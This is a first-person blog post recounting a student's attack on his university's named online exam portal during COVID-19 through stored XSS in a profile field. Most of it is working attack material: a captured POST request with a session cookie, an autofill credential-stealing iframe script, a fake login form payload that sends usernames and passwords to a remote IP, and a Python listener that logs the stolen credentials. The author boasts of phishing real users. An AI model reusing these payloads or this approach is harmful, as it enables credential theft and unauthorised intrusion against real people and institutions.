How I Hacked My College's Online Exam Portal During COVID-19 Quarantine Period

Back Story

COVID-19. Quarantined. How to take tests? Voila. Online. Okay, but how? Tadaa. We were sent an email regarding a new platform which was indigenously built just for us, the students for carrying out the quizzes. Soon enough, I was bombarded to do something about that. I was busy at the time so I showed no interest and shooed everyone away. But soon enough, professors started to rub it in our faces by forcing us to do programming assignments OFFLINE. Yes, writing code in a paper, taking photos, using editing skills to create a PDF out of it and uploading it all ONLINE. The next message about doing something about the platform was enough to trigger me.

We Love Stored XSS

I started looking inside out and I literally found the holy-grail within seconds, I mean, it's not rocket-science. Where can we play in a web-app like this? How about looking into profile section? Boom. The XSS bug was literally saying, here here, I'm here.

XSS attacks exploit the relationship between the user and the web site he or she is accessing. When you visit a web site, there is a presumption that the data transferred between your browser client and the web server is visible only to the owner of the web site and its authorized partners. But when an XSS attack muscles its way into this relationship, it can expose data to a malicious third-party – without the knowledge of either the end-user or web site owner.

There's one particularly slippery term that wreaks havoc in the pursuit of application security.

Sanitize.

I understand, thorough input sanitization is hard. Some vulnerable sites sanitize incompletely, lending their owners a false sense of security. But not sanitizing at all?

Why, I mean, I don't know, do they pass around web-application development guidelines saying something like,

No matter how often we fail, we will never stop failing.
We won't sanitize. Ever.

Start sanitizing, start saving the world.

The thing with "Kill Switches"

Listen kids, when you pull a prank on the university to prove your point that the vulnerability exists, be fucking sure to test the payload multiple times and/or (read AND) make a kill-switch.

What is a kill-switch you ask?

It's basically a life-raft which saves you when you get in -

Oh fuck, shit fuck, what have I done, I'm gonna goto jail, I'm so young!

... kind of situations, which we all know is more common than we like to think.

As I was going to deface the website using stored XSS, it was essential for me to not do the mistake I often do, forgetting to make a kill-switch A.K.A. "Good grief! ...what have I done!? ...let's get back to normal".

So, I copied the POST request which overwrote the javascript payload with "Good boy." as my bio.

POST /?q=MULNPerson/editMyProfile/8620/myspace/full/view/10255&profileId=10255 HTTP/1.1
Host: edunxt.jaipur.manipal.edu
Connection: close
Content-Length: 7137
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://edunxt.jaipur.manipal.edu
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykDDqQXPUlGMfBcEo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://edunxt.jaipur.manipal.edu/?q=MULNPerson/editMyProfile/8620/myspace/full/view/10255&profileId=10255
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: npf_l=jaipur.manipal.edu; npf_r=; npfwg=1; npf_u=https://jaipur.manipal.edu/muj/academics/Examination-Section-Muj/info-to-the-students.html; _gcl_au=1.1.69385558.1590225890; _ga=GA1.2.2053524687.1590225890; _fbp=fb.1.1590225890467.147381805; has_js=1; _gid=GA1.2.882841271.1594399806; SESS64f2cd41f65fb8f5bdc221877b66e277=jkim0ia7l70s61s8cqpagdqd45

------WebKitFormBoundarykDDqQXPUlGMfBcEo
Content-Disposition: form-data; name="personRoleID"

1
------WebKitFormBoundarykDDqQXPUlGMfBcEo
Content-Disposition: form-data; name="accomplishments"

Good boy.
------WebKitFormBoundarykDDqQXPUlGMfBcEo
Content-Disposition: form-data; name="personProfileId"

10255
------WebKitFormBoundarykDDqQXPUlGMfBcEo
Content-Disposition: form-data; name="firstName"

PIYUSH
------WebKitFormBoundarykDDqQXPUlGMfBcEo
Content-Disposition: form-data; name="middleName"


------WebKitFormBoundarykDDqQXPUlGMfBcEo
Content-Disposition: form-data; name="lastName"

RAJ

---REDACTED---

------WebKitFormBoundarykDDqQXPUlGMfBcEo
Content-Disposition: form-data; name="form_build_id"

form-e5b7de2b90e2ba757489722fda6b9d31
------WebKitFormBoundarykDDqQXPUlGMfBcEo
Content-Disposition: form-data; name="form_token"

c07031b8804ebaad526abe5ee21ac03d
------WebKitFormBoundarykDDqQXPUlGMfBcEo
Content-Disposition: form-data; name="form_id"

---REDACTED---

Yes, Drupal. I don't wanna talk about it. Let's move on, shall we?

After the kill-switch was working, I began to move beyond <script>alert(1);</script>.

Crafting the exploit

I first targeted Chrome's auto-fill feature and started making credentials stealer by quickly imitating target's  login structure, used DOM manipulation to inject an iframe using frameset, then threw in some CSS to hide it from the user still letting Chrome's auto-fill to do it's job, fill in the details and finally, exfiltrating the details.

<script>
var frameset = document.createElement('frameset');
var frm = document.createElement('frame');

frm.setAttribute('src','https://edunxt.jaipur.manipal.edu/?q=MULNLogin/edunxtlogin');
frameset.appendChild(frm);
document.body.appendChild(frameset);

frm.addEventListener("load", function() {
parent.frames[0].document.forms[0].elements[3].addEventListener("click", showLogin);
});

function showLogin()
{
alert('login : ' + parent.frames[0].document.forms[0].elements[0].value + '\npass : '+parent.frames[0].document.forms[0].elements[1].value);
}
</script>

However, I quickly realised that this wouldn't work as the src loads logged in state if user is already authenticated, thus reducing the success rate, plus, Chrome's incognito mode doesn't automatically fills in the details until victim clicks the input box and uses the suggestion box. To top it all off, the payload was limited to only Chrome which I didn't wanted.

After few minutes of thinking, I thought, fuck it. Let's go old-school.

<script>
var cont = `<div class="content">
<div class="panel panel-default">
<div style="width:20%; text-align:right;">
<h4>Login to your account</h4>
</div>
<form accept-charset="UTF-8" id="MulnUserLogin-form">
<div class="form-item" id="edit-loginId-wrapper">
<div><div class="errMsg" id="formerror" style="display:none;"></div><div class="panel-body">
<div class="form-group"><div class="form-item" id="edit-loginId-1-wrapper">
<label for="edit-loginId-1">Username : <span class="form-required" title="This field is required.">*</span></label>
<input type="text" maxlength="50" name="loginId" id="edit-loginId-1" size="60" value="" class="form-text required form-control user" placeholder="Username" autocomplete="off" oncopy="return false" onpaste="return false" style="width: 50%;">
</div>
</div> <div class="form-group"><div class="form-item" id="edit-password-1-wrapper">
<label for="edit-password-1">Password : <span class="form-required" title="This field is required.">*</span></label>
<input type="password" name="password" id="edit-password-1" maxlength="50" size="60" class="form-text required form-control pass" placeholder="Password" autocomplete="off" oncopy="return false" onpaste="return false" style="width: 50%;">
</div>
</div><input type="hidden" name="domaintype" id="edit-domaintype-1" value="Manipal University Jaipur">
</div><div style="width:30%; text-align:right;"><div class="form-actions"><span class="form-button-wrapper"><input type="submit" name="op" id="edit-submit-1" value="Login" onclick="return validateUser()" class="form-submit"></span><a href="/?q=MULNPerson/validateUser">Forgot Password?</a></div></div><input type="hidden" name="form_build_id" id="form-d085bafd853aa16c2b12bb81742e12f5" value="form-d085bafd853aa16c2b12bb81742e12f5">
<input type="hidden" name="form_id" id="edit-MulnBmsbUserLogin-form-1" value="MulnBmsbUserLogin_form">

</div>
</div></form>
<input type="hidden" name="form_build_id" id="form-d66ed4ce043ed40271f1303099b1e68c" value="form-d66ed4ce043ed40271f1303099b1e68c">
<input type="hidden" name="form_id" id="edit-MulnBmsbUserLogin_form" value="MulnBmsbUserLogin_form">

</div> </div>`;

document.getElementById('section-content').innerHTML = cont;
document.getElementsByClassName("col3 profile")[0].innerHTML = "";
document.forms[0].elements[3].addEventListener("click", showLogin);
document.getElementById("edit-loginId-1").focus();
setTimeout(autoLogin, 10000);

function showLogin()
{
var emg = document.createElement('img');
emg.setAttribute('src','http://1.2.3.4:8000/?q='+btoa(document.forms[0].elements[0].value+'::'+document.forms[0].elements[1].value));
window.location.replace("https://edunxt.jaipur.manipal.edu/");
}
function autoLogin()
{
var emg = document.createElement('img');
emg.setAttribute('src','http://1.2.3.4:8000/?q='+btoa(document.forms[0].elements[0].value+'::'+document.forms[0].elements[1].value));
}
</script>

So, what's happening?

Basically, using DOM manipulation, we changed the look of target website a little.

The output?

This incorporates all the good things from earlier exploit i.e. auto-fill doing it's job. After the user hits the fake "Login" button. There's no going back. The deed is done. Exfiltration is being done just by pinging the remote server with grabbed credentials encoded with base64 using JavaScipt's lovely btoa() function in the following format -

id::password

There's one caveat to the final payload, if the user's not logged in, the website redirects to the login page (which is completely fine), but after logging in, it doesn't redirects to the original page again. It was sad. There was nothing I could have done.

Setting the trap

I stopped my old AWS instance doing classified things and quickly spawned up a remote server by tweaking the security rules, adding an outbound connection, you know the drill. After that was done, the only thing left was to create the listening server. The remote server code was nothing fancy but just Python server writing all the logs onto a file. It looked something like -

Code

import http.server
import socketserver
import sys

PORT = 8000

Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", PORT), Handler)
print("Serving @PORT:", PORT, sep="")
buffer = 1
sys.stderr = open('log.txt', 'w', buffer)
httpd.serve_forever()

The only thing now left was to shoot tail -f log.txt and feel like a 1337 hacker.

Catching the "Phish"

I mean, we all know how effective are Phishing Attacks but leveraging Stored XSS really notches everything up.

  • The attack resides on the original domain which eliminates the biggest factor for detection.
  • The attack doesn't need to meet any prerequisites for it to work. It works out-of-the-box.

This time, I wasn't in the mood of stopping. Faculty listening to fakers, not looking at the right places, ultimately, causing chaos. It was enough.

They should feel lucky as I decided not to cross the line. As always. Peace out.